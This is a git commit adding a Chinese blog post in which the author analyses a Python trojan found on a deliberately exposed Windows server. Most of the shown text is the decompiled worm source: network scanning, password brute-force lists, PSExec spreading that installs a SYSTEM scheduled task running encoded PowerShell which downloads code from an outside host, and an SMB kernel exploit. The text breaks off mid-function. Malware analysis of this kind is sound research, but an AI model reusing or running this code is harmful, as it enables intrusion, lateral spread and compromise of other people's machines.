summaryrefslogtreecommitdiff
path: root/_posts
diff options
context:
space:
mode:
authormayx <mayx@outlook.com>2024-11-02 12:32:13 +0000
committermayx <mayx@outlook.com>2024-11-02 12:32:13 +0000
commit3de3d63d77d38e5de14c1ed8164e7435599fe5eb (patch)
tree9156f020e0c684a8ebd185cb44184e262f930656 /_posts
parent3dab9f333a7d3e7e773f13c979841a3ce45a03a4 (diff)
Update 2 files
- /links.md - /_posts/2024-11-02-trojan.md
Diffstat (limited to '_posts')
-rw-r--r--_posts/2024-11-02-trojan.md1875
1 files changed, 1875 insertions, 0 deletions
diff --git a/_posts/2024-11-02-trojan.md b/_posts/2024-11-02-trojan.md
new file mode 100644
index 0000000..b03bbef
--- /dev/null
+++ b/_posts/2024-11-02-trojan.md
@@ -0,0 +1,1875 @@
+---
+layout: post
+title: 关于Python制作的木马探索
+tags: [Python, 木马, 病毒]
+---
+
+ 想不到木马病毒居然也可以用Python写😆<!--more-->
+
+# 起因
+ 在一年前阿里云搞了个高校学生免费领300CNY券的活动,那时候我领了一张并且零元购了一个香港的2c1g轻量服务器,在这一年里它为我做了许多,不仅当延迟极低的梯子,另外还运行着H@H给我赚Hath。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。
+ 那在它剩下的最后几天让它干些什么好呢?首先Linux系统感觉没啥意思,装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的,而且如果买的时候装Windows还需要额外付费,所以我用了一个[一键DD/重装脚本](https://github.com/bin456789/reinstall)把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实,所以我给它设置了超简单的密码,并且没有装任何补丁,防火墙全关掉,让它在网络上成为能被随意攻破的肉鸡吧。
+ 在这之后没几天我登上去看了一眼,其实看不出来啥,毕竟就算被入侵了绝大多数情况都是被人当备用的,一般人也不会闲着把上面的文件全删掉,把系统搞崩。所以我安了个360,看看有没有中木马,结果还真中了,在Temp目录下多了个“svchost.exe”文件(虽然还有其他的木马文件但不是Python的所以不感兴趣),而且看图标居然是pyinstaller打包的!这让我有点感兴趣了,其他语言写的编译之后很难看出来什么,而且我也看不懂其他语言写的东西,但是Python我至少还是能看懂的,所以我就下载了这个样本尝试获得它的源代码。
+
+# 提取源代码
+ pyinstaller解包还是挺简单的,用[PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor)就可以,首先我在我的电脑上尝试解包,不过因为Python版本不对,里面的PYZ文件不能解包,并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇[文章](https://www.cnblogs.com/liweis/p/15891170.html)可以进行解密。
+ 不过现在得到的文件都是字节码pyc文件,还需要反编译才能看到源代码,这个步骤也很简单,安装个[uncompyle6](https://github.com/rocky/python-uncompyle6)工具就可以。它的主程序名字叫“ii.py”,于是我反编译了一下,不过看起来作者还整了一些混淆,但是极其简单,就把几个函数换成一串变量而已,所以写了个简单的脚本给它还原回去了,最终处理的结果如下(里面有个[混淆过的PowerShell版mimikatz](https://github.com/DanMcInerney/Invoke-Cats),太长了所以我给删掉了):
+```python
+# uncompyle6 version 3.9.2
+# Python bytecode version base 2.7 (62211)
+# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
+# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
+# Embedded file name: ii.py
+
+import subprocess
+import re
+import binascii
+import socket
+import struct
+import threading
+import os
+import random
+import platform
+from urllib2 import urlopen
+from json import load
+from impacket import smb, smbconnection
+from mysmb import MYSMB
+from struct import pack, unpack, unpack_from
+import sys
+import socket
+import time
+from psexec import PSEXEC
+iplist = ['192.168.0.1/24', '192.168.1.1/24', '192.168.2.1/24', '192.168.3.1/24', '192.168.4.1/24',
+ '192.168.5.1/24', '192.168.6.1/24', '192.168.7.1/24', '192.168.8.1/24', '192.168.9.1/24',
+ '192.168.10.1/24', '192.168.18.1/24', '192.168.31.1/24', '192.168.199.1/24',
+ '192.168.254.1/24', '192.168.67.1/24', '10.0.0.1/24', '10.0.1.1/24', '10.0.2.1/24',
+ '10.1.1.1/24', '10.90.90.1/24', '10.1.10.1/24', '10.10.1.1/24']
+userlist = ['', 'Administrator', 'user', 'admin', 'test', 'hp', 'guest']
+userlist2 = ['', 'Administrator', 'admin']
+passlist = ['', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234',
+ '123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111',
+ '000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456',
+ '123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789',
+ '123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password',
+ 'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie',
+ 'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t',
+ 'qwertyuiop', '1qaz2wsx']
+domainlist = ['']
+nip = []
+ntlist = []
+
+# remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
+mkatz = ''
+
+def find_ip():
+ global iplist2
+ ipconfig_process = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE)
+ output = ipconfig_process.stdout.read()
+ result = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output)
+ for ipaddr in result:
+ if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0':
+ ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24'
+ iplist.append(ipaddr)
+
+ netstat_process = subprocess.Popen('netstat -na', stdout=subprocess.PIPE)
+ output2 = netstat_process.stdout.read()
+ result2 = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output2)
+ for ip in result2:
+ if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1':
+ ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24'
+ iplist.append(ip)
+
+ try:
+ ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read()
+ ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24'
+ ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip']
+ ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24'
+ iplist.append(ipp1)
+ iplist.append(ipp2)
+ except:
+ pass
+
+ iplist2 = list(set(iplist))
+ iplist2.sort(key=iplist.index)
+ return iplist2
+
+
+def xip(numb):
+ del nip[:]
+ for n in xrange(numb):
+ ipp = socket.inet_ntoa(struct.pack('>I', random.randint(1, 4294967295L)))
+ ipp = ipp.split('.')[0] + '.' + ipp.split('.')[1] + '.' + ipp.split('.')[2] + '.1/24'
+ nip.append(ipp)
+
+ return nip
+
+
+def scan(ip, p):
+ global timeout
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(float(timeout) if timeout else None)
+ try:
+ s.connect((ip, p))
+ return 1
+ except Exception as e:
+ return 0
+
+
+def scan2(ip, p):
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(float(2))
+ try:
+ s.connect((ip, p))
+ return 1
+ except Exception as e:
+ return 0
+
+
+def scan3(ip, p):
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(float(1))
+ try:
+ s.connect((ip, p))
+ return 1
+ except Exception as e:
+ return 0
+
+
+def validate(ip, fr):
+ global dl
+ global domainlist
+ global ee2
+ global passlist
+ global userlist2
+ for u in userlist2:
+ for p in passlist:
+ if u == '' and p != '':
+ continue
+ for d in domainlist:
+ if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, p, d, fr).run(ip):
+ print 'SMB Succ!'
+ return
+
+
+def validate2(ip, fr):
+ global ntlist
+ for u in userlist2:
+ for d in domainlist:
+ for n in ntlist:
+ if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, '', d, fr, '00000000000000000000000000000000:' + n).run(ip):
+ print 'SMB Succ!'
+ return
+
+
+def scansmb(ip, p):
+ global semaphore1
+ if scan(ip, 445) == 1:
+ if scan(ip, 65533) == 0:
+ print 'exp IP:' + ip
+ try:
+ validate(ip, '1')
+ except:
+ pass
+
+ try:
+ check_ip(ip, 1)
+ except:
+ pass
+
+ try:
+ validate2(ip, '3')
+ except:
+ pass
+
+ semaphore1.release()
+
+
+def scansmb2(ip, p):
+ if scan2(ip, 445) == 1:
+ print 'exp IP:' + ip
+ try:
+ validate(ip, '2')
+ except:
+ pass
+
+ try:
+ check_ip(ip, 2)
+ except:
+ pass
+
+ try:
+ validate2(ip, '2')
+ except:
+ pass
+
+ semaphore1.release()
+
+
+def scansmb3(ip, p):
+ global semaphore2
+ if scan3(ip, 445) == 1:
+ if scan3(ip, 65533) == 0:
+ print 'exp IP:' + ip
+ try:
+ validate(ip, '2')
+ except:
+ pass
+
+ try:
+ check_ip(ip, 2)
+ except:
+ pass
+
+ try:
+ validate2(ip, '3')
+ except:
+ pass
+
+ semaphore2.release()
+
+
+WIN7_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 160, 'SESSION_ISNULL_OFFSET': 186, 'FAKE_SECCTX': (pack('<IIQQIIB', 2621994, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 40}
+WIN7_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 128, 'SESSION_ISNULL_OFFSET': 150, 'FAKE_SECCTX': (pack('<IIIIIIB', 1835562, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 28}
+WIN8_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 176, 'SESSION_ISNULL_OFFSET': 202, 'FAKE_SECCTX': (pack('<IIQQQQIIB', 3670570, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 56}
+WIN8_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 136, 'SESSION_ISNULL_OFFSET': 158, 'FAKE_SECCTX': (pack('<IIIIIIIIB', 2359850, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 36}
+WIN2K3_64_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 186, 'SESSION_SECCTX_OFFSET': 160, 'SECCTX_PCTXTHANDLE_OFFSET': 16, 'PCTXTHANDLE_TOKEN_OFFSET': 64, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
+WIN2K3_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 150, 'SESSION_SECCTX_OFFSET': 128, 'SECCTX_PCTXTHANDLE_OFFSET': 12, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
+WINXP_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104, 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 64, 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 92}
+WIN2K_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 60, 'TOKEN_USER_GROUP_ADDR_OFFSET': 88}
+WIN7_32_TRANS_INFO = {'TRANS_SIZE': 160, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 64, 'TRANS_OUTPARAM_OFFSET': 68, 'TRANS_INDATA_OFFSET': 72, 'TRANS_OUTDATA_OFFSET': 76, 'TRANS_PARAMCNT_OFFSET': 88, 'TRANS_TOTALPARAMCNT_OFFSET': 92, 'TRANS_FUNCTION_OFFSET': 114, 'TRANS_MID_OFFSET': 128}
+WIN7_64_TRANS_INFO = {'TRANS_SIZE': 248, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 112, 'TRANS_OUTPARAM_OFFSET': 120, 'TRANS_INDATA_OFFSET': 128, 'TRANS_OUTDATA_OFFSET': 136, 'TRANS_PARAMCNT_OFFSET': 152, 'TRANS_TOTALPARAMCNT_OFFSET': 156, 'TRANS_FUNCTION_OFFSET': 178, 'TRANS_MID_OFFSET': 192}
+WIN5_32_TRANS_INFO = {'TRANS_SIZE': 152, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 60, 'TRANS_OUTPARAM_OFFSET': 64, 'TRANS_INDATA_OFFSET': 68, 'TRANS_OUTDATA_OFFSET': 72, 'TRANS_PARAMCNT_OFFSET': 84, 'TRANS_TOTALPARAMCNT_OFFSET': 88, 'TRANS_FUNCTION_OFFSET': 110, 'TRANS_PID_OFFSET': 120, 'TRANS_MID_OFFSET': 124}
+WIN5_64_TRANS_INFO = {'TRANS_SIZE': 224, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 104, 'TRANS_OUTPARAM_OFFSET': 112, 'TRANS_INDATA_OFFSET': 120, 'TRANS_OUTDATA_OFFSET': 128, 'TRANS_PARAMCNT_OFFSET': 144, 'TRANS_TOTALPARAMCNT_OFFSET': 148, 'TRANS_FUNCTION_OFFSET': 170, 'TRANS_PID_OFFSET': 180, 'TRANS_MID_OFFSET': 184}
+X86_INFO = {'ARCH': 'x86', 'PTR_SIZE': 4, 'PTR_FMT': 'I', 'FRAG_TAG_OFFSET': 12, 'POOL_ALIGN': 8, 'SRV_BUFHDR_SIZE': 8}
+X64_INFO = {'ARCH': 'x64', 'PTR_SIZE': 8, 'PTR_FMT': 'Q', 'FRAG_TAG_OFFSET': 20, 'POOL_ALIGN': 16, 'SRV_BUFHDR_SIZE': 16}
+
+def merge_dicts(*dict_args):
+ result = {}
+ for dictionary in dict_args:
+ result.update(dictionary)
+
+ return result
+
+
+OS_ARCH_INFO = {'WIN7': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO))}, 'WIN8': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO))}, 'WINXP': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K3': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO))}}
+TRANS_NAME_LEN = 4
+HEAP_HDR_SIZE = 8
+
+def calc_alloc_size(size, align_size):
+ return size + align_size - 1 & ~(align_size - 1)
+
+
+def wait_for_request_processed(conn):
+ conn.send_echo('a')
+
+
+def find_named_pipe(conn):
+ pipes = ['browser', 'spoolss', 'netlogon', 'lsarpc', 'samr']
+ tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
+ found_pipe = None
+ for pipe in pipes:
+ try:
+ fid = conn.nt_create_andx(tid, pipe)
+ conn.close(tid, fid)
+ found_pipe = pipe
+ break
+ except smb.SessionError as e:
+ pass
+
+ conn.disconnect_tree(tid)
+ return found_pipe
+
+
+special_mid = 0
+extra_last_mid = 0
+
+def reset_extra_mid(conn):
+ global extra_last_mid
+ global special_mid
+ special_mid = (conn.next_mid() & 65280) - 256
+ extra_last_mid = special_mid
+
+
+def next_extra_mid():
+ global extra_last_mid
+ extra_last_mid += 1
+ return extra_last_mid
+
+
+GROOM_TRANS_SIZE = 20496
+
+def leak_frag_size(conn, tid, fid):
+ info = {}
+ mid = conn.next_mid()
+ req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A' * 4304, maxParameterCount=GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN)
+ req2 = conn.create_nt_trans_secondary_packet(mid, data='B' * 276)
+ conn.send_raw(req1[:-8])
+ conn.send_raw(req1[-8:] + req2)
+ leakData = conn.recv_transaction_data(mid, 4580)
+ leakData = leakData[4308:]
+ if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
+ print 'Target is 32 bit'
+ info['arch'] = 'x86'
+ info['FRAG_POOL_SIZE'] = ord(leakData[X86_INFO['FRAG_TAG_OFFSET'] - 2]) * X86_INFO['POOL_ALIGN']
+ elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
+ print 'Target is 64 bit'
+ info['arch'] = 'x64'
+ info['FRAG_POOL_SIZE'] = ord(leakData[X64_INFO['FRAG_TAG_OFFSET'] - 2]) * X64_INFO['POOL_ALIGN']
+ else:
+ print 'Not found Frag pool tag in leak data'
+ print ('Got frag size: 0x{:x}').format(info['FRAG_POOL_SIZE'])
+ return info
+
+
+def read_data(conn, info, read_addr, read_size):
+ fmt = info['PTR_FMT']
+ new_data = pack('<' + fmt * 3, info['trans2_addr'] + info['TRANS_FLINK_OFFSET'], info['trans2_addr'] + 512, read_addr)
+ new_data += pack('<II', 0, 0)
+ new_data += pack('<III', 8, 8, 8)
+ new_data += pack('<III', read_size, read_size, read_size)
+ new_data += pack('<HH', 0, 5)
+ conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
+ conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=17120, totalParameterCount=4096)
+ conn.send_nt_trans_secondary(mid=info['trans2_mid'])
+ read_data = conn.recv_transaction_data(info['trans2_mid'], 8 + read_size)
+ info['trans2_addr'] = unpack_from('<' + fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
+ conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<' + fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
+ wait_for_request_processed(conn)
+ conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
+ wait_for_request_processed(conn)
+ return read_data[8:]
+
+
+def write_data(conn, info, write_addr, write_data):
+ conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<' + info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
+ wait_for_request_processed(conn)
+ conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
+ wait_for_request_processed(conn)
+
+
+def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
+ trans_param = pack('<HH', fid, 0)
+ for i in range(numFill):
+ conn.send_nt_trans(5, param=trans_param, totalDataCount=4304, maxParameterCount=GROOM_TRANS_SIZE - 4304)
+
+ mid_ntrename = conn.next_mid()
+ req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A' * 4304, maxParameterCount=info['GROOM_DATA_SIZE'] - 4304)
+ req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B' * 276)
+ req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE'] - 4096, maxParameterCount=4096)
+ reqs = []
+ for i in range(12):
+ mid = next_extra_mid()
+ reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE'] - 512, totalParameterCount=512, maxDataCount=0, maxParameterCount=0))
+
+ conn.send_raw(req1[:-8])
+ conn.send_raw(req1[-8:] + req2 + req3 + ('').join(reqs))
+ leakData = conn.recv_transaction_data(mid_ntrename, 4580)
+ leakData = leakData[4308:]
+ if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET'] + 4] != 'Frag':
+ print 'Not found Frag pool tag in leak data'
+ return None
+ leakData = leakData[info['FRAG_TAG_OFFSET'] - 4 + info['FRAG_POOL_SIZE']:]
+ expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
+ leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
+ if leakData[4:8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN'] + 2] != expected_size or leakData[leakTransOffset + 2:leakTransOffset + 4] != expected_size:
+ print 'No transaction struct in leak data'
+ return None
+ leakTrans = leakData[leakTransOffset:]
+ ptrf = info['PTR_FMT']
+ _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + ptrf * 5, leakTrans, 8)
+ inparam_value = unpack_from('<' + ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
+ leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
+ print ('CONNECTION: 0x{:x}').format(connection_addr)
+ print ('SESSION: 0x{:x}').format(session_addr)
+ print ('FLINK: 0x{:x}').format(flink_value)
+ print ('InParam: 0x{:x}').format(inparam_value)
+ print ('MID: 0x{:x}').format(leak_mid)
+ next_page_addr = (inparam_value & 18446744073709547520L) + 4096
+ if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
+ print ('unexpected alignment, diff: 0x{:x}').format(flink_value - next_page_addr)
+ return None
+ return {'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': (inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN), 'trans2_addr': (flink_value - info['TRANS_FLINK_OFFSET'])}
+
+
+def exploit_matched_pairs(conn, pipe_name, info):
+ tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
+ conn.set_default_tid(tid)
+ fid = conn.nt_create_andx(tid, pipe_name)
+ info.update(leak_frag_size(conn, tid, fid))
+ info.update(OS_ARCH_INFO[info['os']][info['arch']])
+ info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
+ print ('GROOM_POOL_SIZE: 0x{:x}').format(info['GROOM_POOL_SIZE'])
+ info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']
+ bridePoolSize = 4096 - (info['GROOM_POOL_SIZE'] & 4095) - info['FRAG_POOL_SIZE']
+ info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
+ print ('BRIDE_TRANS_SIZE: 0x{:x}').format(info['BRIDE_TRANS_SIZE'])
+ info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
+ leakInfo = None
+ for i in range(10):
+ reset_extra_mid(conn)
+ leakInfo = align_transaction_and_leak(conn, tid, fid, info)
+ if leakInfo is not None:
+ break
+ print 'leak failed... try again'
+ conn.close(tid, fid)
+ conn.disconnect_tree(tid)
+ tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
+ conn.set_default_tid(tid)
+ fid = conn.nt_create_andx(tid, pipe_name)
+
+ if leakInfo is None:
+ return False
+ info['fid'] = fid
+ info.update(leakInfo)
+ shift_indata_byte = 512
+ conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte)
+ indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 4096 + shift_indata_byte
+ indata_next_trans_displacement = info['trans2_addr'] - indata_value
+ conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
+ wait_for_request_processed(conn)
+ recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
+ if recvPkt.getNTStatus() != 65538:
+ print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
+ print '!!! Write to wrong place !!!'
+ print 'the target might be crashed'
+ return False
+ print 'success controlling groom transaction'
+ print 'modify trans1 struct for arbitrary read/write'
+ fmt = info['PTR_FMT']
+ conn.send_nt_trans_secondary(mid=fid, data=pack('<' + fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
+ wait_for_request_processed(conn)
+ conn.send_nt_trans_secondary(mid=special_mid, data=pack('<' + fmt * 3, info['trans1_addr'], info['trans1_addr'] + 512, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
+ wait_for_request_processed(conn)
+ info['trans2_mid'] = conn.next_mid()
+ conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
+ return True
+
+
+def exploit_fish_barrel(conn, pipe_name, info):
+ tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
+ conn.set_default_tid(tid)
+ fid = conn.nt_create_andx(tid, pipe_name)
+ info['fid'] = fid
+ if info['os'] == 'WIN7' and 'arch' not in info:
+ info.update(leak_frag_size(conn, tid, fid))
+ if 'arch' in info:
+ info.update(OS_ARCH_INFO[info['os']][info['arch']])
+ attempt_list = [OS_ARCH_INFO[info['os']][info['arch']]]
+ else:
+ attempt_list = [
+ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86']]
+ print 'Groom packets'
+ trans_param = pack('<HH', info['fid'], 0)
+ for i in range(12):
+ mid = info['fid'] if i == 8 else next_extra_mid()
+ conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=256 - TRANS_NAME_LEN, totalDataCount=3776, maxParameterCount=64, maxDataCount=0)
+
+ shift_indata_byte = 512
+ conn.do_write_andx_raw_pipe(info['fid'], 'A' * shift_indata_byte)
+ success = False
+ for tinfo in attempt_list:
+ print 'attempt controlling next transaction on ' + tinfo['ARCH']
+ HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE'] + HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
+ NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
+ conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET + tinfo['TRANS_MID_OFFSET'])
+ wait_for_request_processed(conn)
+ recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
+ if recvPkt.getNTStatus() == 65538:
+ print 'success controlling one transaction'
+ success = True
+ if 'arch' not in info:
+ print 'Target is ' + tinfo['ARCH']
+ info['arch'] = tinfo['ARCH']
+ info.update(OS_ARCH_INFO[info['os']][info['arch']])
+ break
+ if recvPkt.getNTStatus() != 0:
+ print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
+
+ if not success:
+ print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
+ print '!!! Write to wrong place !!!'
+ print 'the target might be crashed'
+ return False
+ print 'modify parameter count to 0xffffffff to be able to write backward'
+ conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
+ if info['arch'] == 'x64':
